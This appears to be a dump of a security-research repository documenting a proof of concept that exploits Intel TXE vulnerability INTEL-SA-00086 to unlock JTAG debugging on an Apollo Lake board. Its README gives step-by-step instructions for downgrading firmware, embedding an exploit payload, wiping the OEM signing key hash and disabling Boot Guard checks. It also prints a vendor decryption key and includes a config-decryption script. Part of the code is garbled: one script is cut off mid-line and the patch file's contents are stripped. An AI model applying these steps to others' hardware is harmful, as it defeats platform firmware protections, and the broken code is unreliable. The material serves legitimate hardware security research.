├── pic ├── fit.png ├── hap.png ├── ipc.png ├── rom.png ├── amibcp.png ├── build.png ├── dcion.png ├── dfxagg.png ├── dissig.png ├── meinfo.png ├── txebin.png ├── TXERegion.png ├── buildsucc.png ├── tracehub.png ├── usbdebug.png ├── cpu_me_halt.png ├── DCI_Indicator.png ├── buildsettings.png ├── buildsettings2.png └── buildsettings3.png ├── bin ├── UP_5.2+DCI+TXE_Downgraded+Exploit+HAP.bin └── UP4000_from_factory_TXE_downgrade+exploit+HAP.bin ├── utock_gen.py ├── openipc_key_extract.py ├── me_exp_bxtp.py ├── patch.diff ├── config_decryptor.py └── README.md /pic/fit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XenoKovah/IntelTXE-PoC/HEAD/pic/fit.png -------------------------------------------------------------------------------- /pic/hap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XenoKovah/IntelTXE-PoC/HEAD/pic/hap.png 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/bin/UP_5.2+DCI+TXE_Downgraded+Exploit+HAP.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XenoKovah/IntelTXE-PoC/HEAD/bin/UP_5.2+DCI+TXE_Downgraded+Exploit+HAP.bin -------------------------------------------------------------------------------- /bin/UP4000_from_factory_TXE_downgrade+exploit+HAP.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XenoKovah/IntelTXE-PoC/HEAD/bin/UP4000_from_factory_TXE_downgrade+exploit+HAP.bin -------------------------------------------------------------------------------- /utock_gen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Unlock Token generator by Mark Ermolov (@_markel___) 3 | # Maxim Goryachy (@h0t_max) 4 | # 5 | # Details: https://github.com/ptresearch/IntelME-JTAG 6 | # https://github.com/ptresearch/IntelTXE-POC 7 | 8 | import argparse 9 | import struct 10 | 11 | UTFLOFFSET = 0x1fe0 12 | 13 | def parse_arguments(): 14 | parser = argparse.ArgumentParser(description='Unlock Tocken generator') 15 | parser.add_argument('-f', help='path', type=str, default="utok.bin") 16 | return parser.parse_args().f; 17 | 18 | def genereate_utok(): 19 | data = struct.pack(" 6 | 7 | 8 | + 9 | 10 | 11 | 12 | 13 | 14 | + 15 | + 16 | + 17 | + 18 | + 19 | + 20 | + 21 | + 22 | 23 | 24 | 25 | @@ -152,12 +161,32 @@ 26 | 27 | 28 | 29 | - 30 | - 31 | - 32 | - 33 | + 34 | + 35 | + 36 | + 37 | 38 | 39 | + 40 | + 41 | + 42 | + 43 | + 44 | + 45 | + 46 | + 47 | + 48 | + 49 | + 50 | + 51 | + 52 | + 53 | + 54 | + 55 | + 56 | + 57 | + 58 | + 59 | 60 | 61 | 62 | diff -Naur OpenIPC_1.2035.4868.100/Config/OpenIpcConfig.xml OpenIPC_1.2035.4868.100_patched/Config/OpenIpcConfig.xml 63 | --- OpenIPC_1.2035.4868.100/Config/OpenIpcConfig.xml 2022-08-15 14:26:25.000000000 -0400 64 | +++ OpenIPC_1.2035.4868.100_patched/Config/OpenIpcConfig.xml 2022-08-15 14:25:51.000000000 -0400 65 | @@ -14,10 +14,8 @@ 66 | License. 67 | 68 | --> 69 | - 70 | - 71 | - 72 | - 73 | - 74 | + 75 | + 76 | + 77 | 78 | 79 | diff -Naur OpenIPC_1.2035.4868.100/Data/Xml/BXTP/ProductInfo.xml OpenIPC_1.2035.4868.100_patched/Data/Xml/BXTP/ProductInfo.xml 80 | --- OpenIPC_1.2035.4868.100/Data/Xml/BXTP/ProductInfo.xml 2022-08-15 14:26:25.000000000 -0400 81 | +++ OpenIPC_1.2035.4868.100_patched/Data/Xml/BXTP/ProductInfo.xml 2022-08-15 14:25:51.000000000 -0400 82 | @@ -4,21 +4,26 @@ 83 | 84 | 85 | 86 | + 87 | + 88 | + 89 | + 90 | + 91 | 92 | - 93 | + 100 | 101 | 102 | - 103 | + 110 | 111 | 112 | 113 | diff -Naur OpenIPC_1.2035.4868.100/Data/Xml/BXTP/TapNetworks.B0.xml OpenIPC_1.2035.4868.100_patched/Data/Xml/BXTP/TapNetworks.B0.xml 114 | --- OpenIPC_1.2035.4868.100/Data/Xml/BXTP/TapNetworks.B0.xml 2022-08-15 14:26:25.000000000 -0400 115 | +++ OpenIPC_1.2035.4868.100_patched/Data/Xml/BXTP/TapNetworks.B0.xml 2022-08-15 14:25:51.000000000 -0400 116 | @@ -119,6 +119,7 @@ 117 | 118 | 119 | 120 | + 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /config_decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Decryptor for OpenIPC configuration by Mark Ermolov (@_markel___) 3 | # Maxim Goryachy (@h0t_max) 4 | # 5 | # Details: https://github.com/ptresearch/IntelME-JTAG 6 | # https://github.com/ptresearch/IntelTXE-POC 7 | from time import gmtime, strftime 8 | import os 9 | import sys 10 | import struct 11 | import shutil 12 | import zipfile 13 | 14 | from argparse import ArgumentParser as argpars 15 | from Crypto.Cipher import AES 16 | from Crypto.Hash import SHA as sha1 17 | 18 | try: 19 | xrange # Python 2 20 | except NameError: 21 | xrange = range # Python 3 22 | 23 | 24 | def create_backup(paths): 25 | archiveName = strftime("OpenIPC_backup_%Y%m%d_%H%M%S.zip", gmtime()) 26 | zip = zipfile.ZipFile(archiveName, 'w', zipfile.ZIP_DEFLATED) 27 | for path in paths: 28 | for root, dirs, files in os.walk(path): 29 | for file in files: 30 | zip.write(os.path.join(root, file)) 31 | zip.close() 32 | 33 | def decrypt_path(name): 34 | decryptName = "" 35 | counter = 0 36 | for c in name: 37 | if c == '_': 38 | decChar = ord('?') 39 | elif c == '-': 40 | decChar = ord('>') 41 | elif c == '\\' or c == '/' or c == '.': 42 | decryptName += c 43 | counter = 0 44 | continue 45 | elif c <= '9': 46 | decChar = ord(c) - ord('0') 47 | elif c <= 'Z': 48 | decChar = ord(c) - ord('7') 49 | elif c <= 'z': 50 | decChar = ord(c) - ord('=') 51 | 52 | counter += 1 53 | decChar = counter ^ decChar ^ 0xA 54 | 55 | if decChar == ord('?'): 56 | decChar = ord('_') 57 | elif decChar == ord('>'): 58 | decChar = ord('-') 59 | elif decChar >= ord('$') and decChar <= ord('='): 60 | decChar = decChar + ord('=') 61 | elif decChar >= ord('\n') and decChar <= ord('#'): 62 | decChar = decChar + ord('7') 63 | elif decChar <= ord('\t'): 64 | decChar = decChar + ord('0') 65 | else: 66 | decChar = ord(c) 67 | counter = 0 68 | decryptName += chr(decChar) 69 | return decryptName 70 | 71 | def copy_dir(srcPath, dstPath): 72 | for item in os.listdir(srcPath): 73 | src = os.path.join(srcPath, item) 74 | dst = os.path.join(dstPath, item) 75 | if os.path.isdir(src): 76 | shutil.copytree(src, dst, False, None) 77 | else: 78 | shutil.copy2(src, dst) 79 | 80 | class Decryptor: 81 | IVLEN = 16 82 | KEYLEN = 32 83 | COUNT = 5 84 | def __init__(self, key): 85 | self.iv, self.key = self.__bytes_to_key(key) 86 | 87 | def __bytes_to_key(self, key): 88 | d = "" 89 | hashStr = "" 90 | while len(hashStr) <= self.IVLEN + self.KEYLEN: 91 | sha = sha1.new() 92 | sha.update(d+key) 93 | d = sha.digest() 94 | for i in xrange(self.COUNT-1): 95 | sha = sha1.new() 96 | sha.update(d) 97 | d = sha.digest() 98 | hashStr += d 99 | key = hashStr[0:self.KEYLEN] 100 | iv = hashStr[self.KEYLEN:self.KEYLEN+self.IVLEN] 101 | return iv, key 102 | 103 | def __decrypt(self, cipherText): 104 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 105 | return cipher.decrypt(cipherText) 106 | 107 | def __remove_padding(self, plainText): 108 | plainSize = len(plainText) 109 | paddingSize = ord(plainText[-1]) 110 | return plainText[:plainSize-paddingSize] 111 | 112 | def decrypt_data(self, cipherText): 113 | plainText = self.__decrypt(cipherText) 114 | return self.__remove_padding(plainText) 115 | 116 | 117 | class BinXMLParser: 118 | def __init__(self, decrypt): 119 | self.decrypt = decrypt 120 | 121 | def __offsetDetect(self): 122 | signature = self.data[0:8][::-1] 123 | self.offset = 0 124 | if signature == "Not DAL!": 125 | self.offset = 8 126 | 127 | def __read_bytes(self, size): 128 | result = self.data[self.offset:self.offset+size] 129 | self.offset += size 130 | return result 131 | 132 | def __read_int(self): 133 | val, = struct.unpack_from(' stringsCount 144 | self.strings = [] 145 | for i in xrange(stringsCount): 146 | strlen = self.__read_int() 147 | str = self.__read_bytes(strlen) 148 | self.strings.append(str) 149 | 150 | def __get_item(self, level=0): 151 | tagName = self.strings[self.__read_int()] 152 | attr = self.__read_byte() 153 | self.xml += " "*level 154 | self.xml += "<" + tagName 155 | val = "" 156 | if attr & 1: 157 | self.__read_int() 158 | if attr & 2: 159 | val = self.strings[self.__read_int()] 160 | val = val.lstrip().rstrip() 161 | if attr & 4: 162 | attrs_count = self.__read_int() 163 | attrs_dict = {} 164 | for i in xrange(attrs_count): 165 | attrName = self.strings[self.__read_int()] 166 | attrVal = self.strings[self.__read_int()] 167 | if self.decrypt and attrName == "Path": 168 | attrVal= decrypt_path(attrVal) 169 | self.xml += " " + attrName + '="' + attrVal + '"' 170 | if attr & 8: 171 | self.xml += ">\n"; 172 | childCount = self.__read_int() 173 | for i in xrange(childCount): 174 | self.__get_item(level+1) 175 | 176 | if val != "": 177 | self.xml += ">\n" + " "*(level+1) + val +"\n" 178 | self.xml += " "*level + "\n" 179 | else: 180 | if attr & 8: 181 | self.xml += " "*level + "\n" 182 | else: 183 | self.xml += "/>\n" 184 | 185 | def __xmlBuild(self): 186 | self.xml = "" 187 | self.__get_item() 188 | return self.xml 189 | 190 | def parse(self, binData): 191 | self.offset = 0 192 | self.data = binData 193 | self.__read_strings() 194 | return self.__xmlBuild() 195 | 196 | 197 | class IPCDecryptor: 198 | FORBIDIRNAME = ["Python", "enhancements", "__pycache__"] 199 | def __init__(self, path, key): 200 | self.path = path 201 | if (not os.path.exists(os.path.join(path, "Data", "Index.bin")) or 202 | not os.path.exists(os.path.join(path, "Config", "Index.bin"))): 203 | print ("Error: {} isn't OpenIPC root directory\n".format(path)) 204 | exit(-1) 205 | self.dec = Decryptor(key.decode("hex")) 206 | 207 | def __decrypt_file(self, fileName): 208 | f = open(fileName, "rb") 209 | cipherText = f.read() 210 | f.close() 211 | assert len(cipherText) != 0 212 | plainText = self.dec.decrypt_data(cipherText) 213 | os.remove(fileName) 214 | return plainText 215 | 216 | def __decrypt_xml(self, fileName, newFileName, decryptPath): 217 | plainText = self.__decrypt_file(fileName) 218 | binXML = BinXMLParser(decryptPath) 219 | xml = binXML.parse(plainText) 220 | f = open(newFileName, "wb") 221 | f.write(xml) 222 | f.close 223 | 224 | def __decrypt_py(self, fileName, newFileName): 225 | plainText = self.__decrypt_file(fileName) 226 | f = open(newFileName, "wb") 227 | f.write(plainText) 228 | f.close 229 | 230 | def __decrypt_directory(self, path, name): 231 | fullPath = os.path.join(path,name) 232 | for item in os.listdir(fullPath): 233 | if os.path.isdir(os.path.join(fullPath, item)): 234 | if not (item in self.FORBIDIRNAME): 235 | decryptName = decrypt_path(item) 236 | if decryptName=="Python": 237 | if not self.skipPython: 238 | copy_dir(os.path.join(fullPath, item), 239 | os.path.join(fullPath, decryptName)) 240 | shutil.rmtree(os.path.join(fullPath, item)) 241 | self.__decrypt_directory(fullPath, decryptName) 242 | else: 243 | os.rename(os.path.join(fullPath, item), 244 | os.path.join(fullPath, decryptName)) 245 | self.__decrypt_directory(fullPath, decryptName) 246 | 247 | else: 248 | decryptName = decrypt_path(item) 249 | extension = os.path.splitext(decryptName)[1] 250 | if extension == ".xml" or extension == ".xsd": 251 | self.__decrypt_xml(os.path.join(fullPath, item), 252 | os.path.join(fullPath, decryptName), 253 | False) 254 | elif not self.skipPython and extension == ".py": 255 | self.__decrypt_py(os.path.join(fullPath, item), 256 | os.path.join(fullPath, decryptName)) 257 | 258 | def decrypt_files(self, noBackup, python): 259 | self.skipPython = python==False 260 | if not noBackup: 261 | create_backup([os.path.join(self.path, "Config"), 262 | os.path.join(self.path, "Data")]) 263 | self.__decrypt_xml(os.path.join(self.path, "Config", "Index.bin"), 264 | os.path.join(self.path, "Config", "Index.xml"), 265 | False) 266 | self.__decrypt_xml(os.path.join(self.path, "Data", "Index.bin"), 267 | os.path.join(self.path, "Data", "Index.xml"), 268 | True) 269 | self.__decrypt_directory(self.path, "Data") 270 | 271 | 272 | def parse_arguments(): 273 | pars = argpars(description='Decryptor for OpenIPC configuration') 274 | pars.add_argument('-p', help='path', type=str, default="OpenIPC") 275 | pars.add_argument('-nb', help="don't create backup", action="store_true") 276 | pars.add_argument('-k', help='AES key', type=str, required=True) 277 | pars.add_argument('-python', help='Decrypt Python files', action="store_true") 278 | return ( pars.parse_args().p, 279 | pars.parse_args().k, 280 | pars.parse_args().nb, 281 | pars.parse_args().python ) 282 | 283 | def main(): 284 | path, key, noBackup, python = parse_arguments() 285 | decryptor = IPCDecryptor(path, key) 286 | decryptor.decrypt_files(noBackup, python) 287 | 288 | if __name__ == "__main__": 289 | main() 290 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **Disclaimer** 2 | 3 | **All information is provided for educational purposes only. Follow these instructions at your own risk. Neither the authors nor their employer are responsible for any direct or consequential damage or loss arising from any person or organization acting or failing to act on the basis of information contained in this page.** 4 | 5 | # Content 6 | [Introduction](#introduction) 7 | [Required Software](#required-software) 8 | [Generating the Payload](#generating-the-payload) 9 | [Generating the Unlock Token](#generating-the-unlock-token) 10 | [Preparing the SPI Flash Image](#preparing-the-spi-flash-image) 11 | [Integrating Files Into the Firmware Image](#integrating-files-into-the-firmware-image) 12 | [Disabling OEM Signing](#disabling-oem-signing) 13 | [Building the Firmware Image](#building-the-firmware-image) 14 | [BringUP Main CPU](#bringup-main-cpu) 15 | [Writing the Image to SPI Flash](#writing-the-image-to-spi-flash) 16 | [Preparing the USB Debug Cable](#preparing-the-usb-debug-cable) 17 | [Patching OpenIPC Configuration Files](#patching-openipc-configuration-files) 18 | [Decrypting OpenIPC Configuration Files](#decrypting-openipc-configuration-files) 19 | [Adding LMT Core to the Configuration](#adding-lmt-core-to-the-configuration) 20 | [Setting the IPC_PATH Environment Variable](#setting-the-ipc_path-environment-variable) 21 | [Performing an Initial Check of JTAG Operability](#performing-an-initial-check-of-jtag-operability) 22 | [Show CPU ME Thread](#show-cpu-me-thread) 23 | [Halting Cores](#halting-cores) 24 | [ME Debugging: Quick Start](#me-debugging-quick-start) 25 | [Reading Arbitrary Memory](#reading-arbitrary-memory) 26 | [Reading ROM](#reading-rom) 27 | [Why TXE?](#why-txe) 28 | [Tested Platforms List](#tested-platforms-list) 29 | [Authors](#authors) 30 | [License](#license) 31 | 32 | 33 | # Introduction 34 | Vulnerability [INTEL-SA-00086](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html) allows to activate [JTAG](https://en.wikipedia.org/wiki/JTAG) for [Intel Management Engine](https://en.wikipedia.org/wiki/Intel_Management_Engine) core. We developed our [JTAG PoC][8] for the [Gigabyte Brix GP-BPCE-3350C](https://www.gigabyte.com/ru/Mini-PcBarebone/GB-BPCE-3350C-rev-10) platform. Although we recommend that would-be researchers use the same platform, other manufacturers' platforms with the [Intel Apollo Lake](https://www.intel.com/content/www/us/en/embedded/products/apollo-lake/overview.html) chipset should support the PoC as well (for TXE version **3.0.1.1107**). 35 | 36 | Because the Gigabyte Brix GP-BPCE-3350C is no longer widely commercially available, these instructions have been updated to instead target the AAEON UP Squared ***[SKU UPS-APLX7-A20-0864](https://up-shop.org/up-squared-series.html)*** (Intel Atom® x7-E3950). If you purchase this board, make sure to also get the power supply, [serial adapter](https://up-shop.org/usb-2-0-pin-header-cable.html), and any [USB-to-serial](https://amzn.to/3bP9Zat) adapter. Additionally, the UP Squared only needs a basic [USB debug cable](https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html) to perform DCI debugging. The USB debug cable should be connected to the port where the yellow USB cable is shown [here](https://www.asset-intertech.com/resources/blog/2020/05/open-source-firmware-explorations-using-dci-on-the-aaeon-up-squared-board/). 37 | 38 | # Required Software 39 | 40 | ## Intel System Tools 41 | 42 | Vulnerability *INTEL-SA-00086* involves a buffer overflow when handling a file stored on MFS (the [internal ME file system][6]). The full file path is */home/bup/ct*. You will need to integrate a vulnerability-exploiting version of this file into the ME firmware by using *Intel Flash Image Tool (FIT)*, one of the Intel System Tools provided by Intel to OEMs of hardware based on Intel PCH chipsets. 43 | 44 | The Intel ME (TXE, SPS) System Tools utilities are not intended for end users—so you cannot find them on the official Intel website. However, some OEMs publish them as part of software updates together with device drivers. So, for integrating our PoC you need "CSTXE System Tools v3", which can be found [here](https://winraid.level1techs.com/t/intel-converged-security-trusted-execution-engine-drivers-firmware-and-tools/30730). 45 | 46 | ## Intel System Studio 47 | You need to install Intel System Studio for performing JTAG debugging. In our original experiments, we used *Intel System Studio 2018*. These instructions have been updated for **Intel System Studio 2020** which can be obtained from [here](https://drive.google.com/file/d/15D6KQuC_WoTrxm_4ZUPmGYzrIIv9uQAS/view?usp=sharing). 48 | 49 | ## Intel TXE Firmware 50 | The PoC targets **Intel TXE firmware version 3.0.1.1107**. The "CSTXE 3.0" image repository at [Win-Raid forums](https://winraid.level1techs.com/t/intel-cs-me-cs-txe-cs-sps-gsc-pmc-pchc-phy-orom-firmware-repositories/30869) contains the necessary TXE firmware version. 51 | 52 | ## Python 53 | All our scripts are written on Python. We recommend using [Python 2.7](https://www.python.org/download/releases/2.7/) 54 | Also the scripts require [pycrypto](https://pypi.org/project/pycrypto/) packet. To install *pycrypto*, run the following command: 55 | ``` 56 | pip install pycrypto 57 | ``` 58 | 59 | ## Performing baseline x86 debugging via DCI 60 | 61 | While the purpose of this guide is to enable JTAG debugging in the ME via an exploit, it is a good practice to first sanity check and make sure you can perform normal JTAG debugging of the UP Squared board via DCI. AAEON no longer ships their BIOSes with DCI enabled, as they stated on their forums that this led to instability. (And older versions of the BIOS before v5.0 that had DCI enabled will no longer work with newer hardware, due to a DRAM vendor hardware change.) Therefore, to enable DCI JTAG on the UP Squared, you must perform 3 steps: 62 | 1) Perform the binary patching described by Satoshi Tanda [here](https://forum.up-community.org/discussion/comment/12877#Comment_12877) (although it should say to use UEFITool 0.28 not 2.8). 63 | 2) Enable DCI through the BIOS configuration menu by pressing F7 at boot, entering the default UP password (*upassw0rd*), from the Main menu, going down to "CRB Setup" -> "CSB Chipset" -> "South Cluster Configuration" -> "Miscellaneous Configuration" -> "DCI Enable (HDCIEN)" and setting it to enabled. Then exit the BIOS setup menu, save the configuration change, and reboot the system. 64 | 3) Open "C:\IntelSWTools\system_studio_2020\system_debugger_2020\target_indicator\bin\TargetIndicator.exe" and confirm that when you have that system plugged in to the UP Squared via the debug cable, that there is displayed a blue indicator that DCI is possible such as the below: 65 | ![DCI Indicator](pic/DCI_Indicator.png) 66 | 67 | You can then launch ":\Program Files (x86)\IntelSWTools\sw_dev_tools\system_debugger_2020\system_debug_legacy\xdb.bat", connect to the target, and break into it, and single step to confirm you have baseline debugging capabilities. 68 | 69 | (You can also follow the blog series by Alan Sguigna [here](https://www.asset-intertech.com/resources/blog/2020/05/open-source-firmware-explorations-using-dci-on-the-aaeon-up-squared-board/) on how to build the Debug-build of the open source code for this platform, which will be DCI-debuggable from the reset vector. However, note that due to a hardware change for DRAM, this built-from-source code will no longer fully boot on new hardware - it will instead hang at boot time as noted [here](https://forum.up-community.org/discussion/comment/12877). Intel TianoCore maintainers have refused to fix this.) 70 | 71 | # Generating the Payload 72 | Run the script **me_exp_bxtp.py**: 73 | ``` 74 | me_exp_bxtp.py -f 75 | ``` 76 | The script generates the necessary data and exports it to the specified file (indicate either the full file path or, within the current directory, simply a name, *ct.bin* by default). This file will be used later by *FIT*. 77 | 78 | # Generating the Unlock Token 79 | Run the script **utock_gen.py**: 80 | ``` 81 | utock_gen.py -f 82 | ``` 83 | The script generates the necessary data and exports it to the specified file (indicate either the full file path or, within the current directory, simply a name, *utok.bin* by default). This file will be used later by *FIT*. 84 | 85 | # Preparing the SPI Flash Image 86 | 87 | ## Integrate payload 88 | 89 | To integrate the *ct.bin* and *utok.bin* files, run the *FIT* utility (*fit.exe*) obtained from *CSTXE System Tools v3*. First use it to open your UP Squared BIOS image that has been DCI enabled (e.g. "UPA1AM61_DCI_Enabled.bin") 90 | 91 | ![screenshot](pic/fit.png) 92 | 93 | *FIT* extracts different sections of the overall SPI image (SPI descriptor, UEFI/BIOS firmware, Intel ME firmware, and Unlock Token) when the image is opened and saves them in the folder *"image_name"/Decomp* in the same local directory as FIT. 94 | 95 | ![screenshot](pic/TXERegion.png) 96 | 97 | After doing this, save the configuration XML (e.g. to "UPA1AM61_DCI_Enabled.xml") and exit fit.exe. 98 | 99 | In order to downgrade the Intel TXE firmware to the vulnerable version **3.0.1.1107**, we need to replace the file /Decomp/TXE Region.bin, with the file "3.0.1.1107_B_PRD_RGN.bin". This should be done by renaming the original file to "TXE Region.bin.orig" and then naming "3.0.1.1107_B_PRD_RGN.bin" to "TXE Region.bin". 100 | 101 | Re-open fit.exe and re-load your configuration from your saved XML file. If you replaced the file on the filesystem correctly, in the "Intel(R) TXE Binary File" on the Flash Layout tab you should see the version displayed as 3.0.1.1107 instead of whatever it originally came with: 102 | 103 | ![screenshot](pic/txebin.png) 104 | 105 | # Integrating Exploit Files Into the Firmware Image 106 | 107 | Now we need to indicate in *FIT* the files we generated for */home/bup/ct* (**ct.bin**) and *Unlock Token* (**utok.bin**). On the *Debug* tab in *FIT*, you can specify the Trace Hub Binary and Unlock Token to integrate into the firmware. These should be the files that we generated already. 108 | 109 | ![screenshot](pic/tracehub.png) 110 | 111 | # Disabling OEM Signing 112 | There will be an OEM Public key hash under the Platform Protection tab. Remove it by entering 32 zeros: 113 | 114 | ``` 115 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 116 | ``` 117 | 118 | ![screenshot](pic/dissig.png) 119 | 120 | # Building the Firmware Image 121 | Select Build Settings 122 | ![screenshot](pic/buildsettings.png) 123 | 124 | By default it will look like the following: 125 | ![screenshot](pic/buildsettings2.png) 126 | 127 | Update it change the outimage.bin to the same name as your input file. Also set the "Enable Boot Guard warning message at build time" to *No*, 128 | and "Verify manifest signing keys against the OEM Key Manifest" to *No*. It should then look like the following: 129 | ![screenshot](pic/buildsettings3.png) 130 | 131 | Build the image by selecting *Build Image* in the *Build menu*. 132 | 133 | ![screenshot](pic/build.png) 134 | 135 | If everything has been done correctly up to this point, the build process should be successful and *FIT* outputs something like the following console message: 136 | 137 | ![screenshot](pic/buildsucc.png) 138 | 139 | # Enable HAP mode 140 | 141 | You have to activate HAP mode for this exploit to work. Bit index 0 of the byte at the offset +0x102 should be manually set to 1 via a hex 142 | editor in the output file that was built by fit.exe: 143 | 144 | ![screenshot](pic/hap.png) 145 | 146 | At the end of the process you should have a file similar to the example file provided [here](bin/UP_5.2+DCI+TXE_Downgraded+Exploit+HAP.bin), although that is for UP BIOS version 5.2, and the preceeding instructions are for version 6.1. 147 | 148 | # Writing the Image to SPI Flash[](#writeimage) 149 | 150 | **To write the image to SPI flash, we highly recommend using an SPI programmer (such as the [Dediprog SF600Plus](https://www.dediprog.com/product/SF600Plus)). 151 | Be sure to back up the original firmware so you can restore from it if something goes wrong!** 152 | 153 | # Preparing the USB Debug Cable 154 | 155 | You will need a *USB 3.0 debug cable* to connect to the platform. Either [buy](https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html) one specially made for the purpose or hack together your own from a USB 3.0 AM–AM cable by isolating the *D+*, *D-*, and *Vcc* contacts. 156 | 157 | ![screenshot](pic/usbdebug.png) 158 | 159 | # Patching OpenIPC Configuration Files 160 | 161 | Intel develops and provides users with two software packages that can be used for JTAG debugging of platforms and the main CPU: DAL (DFx Abstraction Layer) and *OpenIPC*. Both *DAL* and *OpenIPC* are part of *Intel System Studio*. After installation of *Intel System Studio 2020*, *OpenIPC* appears in the following directory: 162 | 163 | Windows 164 | ``` 165 | C:\IntelSWTools\system_studio_2020\tools\OpenIPC_1.2035.4868.100 166 | ``` 167 | 168 | The *OpenIPC* configuration is encrypted and does not support the TXE core. So decrypt the configuration and add a TXE description to it. 169 | 170 | ## Decrypting OpenIPC Configuration Files 171 | 172 | To decrypt the configuration files, extract the key from the *StructuredData* library (*StructuredData_x64.dll*) in *OpenIPC/Bin* using the [IDA Pro](https://www.hex-rays.com/products/ida/support/download_freeware.shtml) script *openipc_key_extract.py*. If the script does not work, you can simply open the file in IDA Pro, and search for the string "Logging.xml" and then get the 16 bytes after that after the next alignment. (There will be 4 extra bytes, and then 4 zeros after the 16 bytes you care about.) Pass the key (in our case, *F820AD4F6CC2E9EE050C43DEBF631F59*) to the script *config_decryptor.py* with path to the OpenIPC directory. 173 | 174 | ``` 175 | config_decryptor.py –k F820AD4F6CC2E9EE050C43DEBF631F59 –p C:\IntelSWTools\system_studio_2020\tools\OpenIPC_1.2035.4868.100 176 | ``` 177 | 178 | ## Adding LMT Core to the Configuration 179 | 180 | The supplied version of OpenIPC does not have the necessary information about the TXE core. So we need to apply a patch (*patch.diff*) to the decrypted *OpenIPC* configuration files. Here's how to do it: 181 | 182 | ``` 183 | patch -p2 < patch.diff 184 | ``` 185 | 186 | # Setting the IPC_PATH Environment Variable 187 | 188 | After decryption and patching, set the *IPC_PATH* environment variable to the new *OpenIPC* directory so that *ipccli* uses the modified *OpenIPC* version. For instance: 189 | 190 | Windows 191 | ``` 192 | set IPC_PATH=C:\IntelSWTools\system_studio_2020\tools\OpenIPC_1.2035.4868.100\Bin 193 | ``` 194 | 195 | # Performing an Initial Check of JTAG Operability 196 | 197 | The *activator* blocks subsequent loading by keeping the BUP process in a loop after JTAG is activated. After launch, the platform will not show any signs of life (the monitor does not turn on, keyboard indicators do not light up, and no BIOS POST sound is played). So you will need to check via DCI debugging that the platform has gotten "stuck" in the BUP module. 198 | 199 | Like *DAL*, the *OpenIPC* library includes a command-line interface (CLI), written in Python and provided as a library for Python as part of Intel System Studio, which can be installed on the system with the help of pip. 200 | The installation package for ipccli is at the following path: 201 | Windows 202 | ``` 203 | C:\IntelSWTools\system_studio_2020\system_debugger_2020\debugger\ipccli\ipccli-1.2035.1920.100-py2.py3-none-any.whl 204 | ``` 205 | 206 | To install ipccli, run the following console command: 207 | 208 | ``` 209 | pip install ipccli-1.2035.1920.100-py2.py3-none-any.whl 210 | ``` 211 | 212 | Once installed, *ipccli* is available within the runtime of the corresponding Python version (the one from which pip was invoked). 213 | To get started with *OpenIPC*, run the following commands in the Python console from an Administrator command prompt: 214 | ``` 215 | import ipccli 216 | ipc = ipccli.baseaccess() 217 | ``` 218 | 219 | The mechanism for connecting to the target platform via DCI launches, resulting in the following console output: 220 | 221 | ![screenshot](pic/ipc.png) 222 | 223 | When no connection is established—for example, if the platform is not powered on or is not physically connected via DCI—messages will resemble the following: 224 | 225 | ![screenshot](pic/dcion.png) 226 | 227 | If *DCI* connection is successful, make sure that the *PERSONALITY* register of the *DFX_AGGRAGATOR* device equals 3. 228 | The *PERSONALITY* register has an *IR* (*Instruction Register*) code of *0x54*. To read it, run the following commands: 229 | ``` 230 | dfx_agg = ipc.devs.mdu_dfx_agg_tap0 231 | ipc.irdrscan(dfx_agg, 0x54, 32) 232 | ``` 233 | 234 | Here is what the result of that command should look like: 235 | 236 | ![screenshot](pic/dfxagg.png) 237 | 238 | 239 | 240 | 241 | 242 | 243 | # ME Debugging: Quick Start 244 | 245 | The *ipccli* utility comes with rather detailed HTML documentation, which can be found in a folder of the *ipccli* Python package: 246 | 247 | ``` 248 | \Lib\site-packages\ipccli\html\Index.html 249 | ``` 250 | 251 | ## Show CPU ME Thread 252 | 253 | If the previous steps have been performed correctly, when a connection to the platform is made via *ipccli*, the *TXE* core is accessible via *CSE Tap* and *ipccli* allows accessing it by applying the following *ipccli* path: 254 | 255 | ``` 256 | ipc.devs.cse_c0.threads[0] 257 | ``` 258 | 259 | But since the PoC blocks loading of the platform until the main CPU is initialized, its cores are inaccessible via JTAG and the ME core can be accessed via the following command: 260 | 261 | ``` 262 | ipc.threads[0] 263 | ``` 264 | 265 | ## Halting Cores 266 | 267 | To halt ME processor instructions, run the following command: 268 | 269 | ``` 270 | me = ipc.devs.cse_c0.threads[0] 271 | me.halt() 272 | ``` 273 | 274 | To halt CPU processor instructions, run the following command: 275 | 276 | ``` 277 | core = ipc.threads[0] 278 | core.halt() 279 | ``` 280 | 281 | 282 | ![screenshot](pic/cpu_me_halt.png) 283 | 284 | The console displays the logical address of the instruction at which the halt was made. 285 | 286 | ## Reading Arbitrary Memory 287 | 288 | *OpenIPC* allows reading memory after the halt, for example: 289 | 290 | ``` 291 | ipc.threads[0].mem("0xf0080004P", 4) 292 | ``` 293 | 294 | You can specify a logical address (*sel:offset*), linear address (*L* modifier), or physical address (*P* modifier). 295 | 296 | ## Reading ROM 297 | 298 | The ME system agent (*MISA*) allows getting the initial physical address of the *ROM* region, which includes the ME reset vector. You can get the *ROM* address via the *Hunit ROM Memory Base* (*HROMMB*) register at offset 0xe20 MISA MMIO (*0xf0000000P*): 299 | 300 | ![screenshot](pic/rom.png) 301 | 302 | *ROM* always resides from *ROMBASE* to *0xffffffff* 303 | To copy the ROM to a file, run the following command: 304 | 305 | ``` 306 | ipc.threads[0].memsave("", "0xfffe0000p", 0x20001) 307 | ``` 308 | 309 | It is important to specify the size as *0x20001*, as opposed to *0x20000* (otherwise *OpenIPC* runs into issues due to problems with 64-bit access, which is not possible for the 32-bit ME core). The last byte of the file can be thrown out, since it is not part of the *ROM*. 310 | 311 | 312 | # Why TXE? 313 | 314 | The platform gives more opportunities for debugging without a special [Intel 